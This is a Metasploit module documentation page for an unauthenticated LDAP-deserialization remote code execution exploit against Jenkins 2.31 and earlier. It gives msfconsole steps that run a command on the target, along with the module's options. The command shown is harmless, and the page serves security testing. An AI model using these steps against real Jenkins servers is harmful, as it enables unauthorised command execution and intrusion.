Path: blob/master/documentation/modules/exploit/linux/misc/jenkins_ldap_deserialize.md
32184 views
Vulnerable Application
Jenkins 2.31 or below is vulnerable and can be downloaded from updates.jenkins-ci.org
This vulnerability does not require authentication and only HTTP access to the vulnerable application is required.
Verification Steps
Download jenkins 2.31
Install jenkins
java -jar jenkins.warStart
msfconsoleDo:
use exploit/linux/misc/jenkins_ldap_deserializeDo:
set RHOST [target host]Do:
set PAYLOAD cmd/unix/genericDo:
set CMD 'touch /tmp/wtf'Do:
runIt should create /tmp/wtf on the target host.
Required Options
RHOST
The address of the jenkins server.
Options
RPORT
The http port for the jenkins server. (Defaults to 8080)
TARGETURI
The path to the target instance of Jenkins. (Defaults to /)
SRVHOST
The local address to listen for the LDAP request on. (Defaults to 127.0.0.1)
SRVPORT
The local port to listen for the LDAP request on. (Defaults to 1389)
LDAPHOST
The ldap host the exploit will connect to. Can be different from SRVHOST if in a environment where there is port forwarding. (Defaults to 127.0.0.1)
Scenarios
Example usage against a unix target running Jenkins 2.31.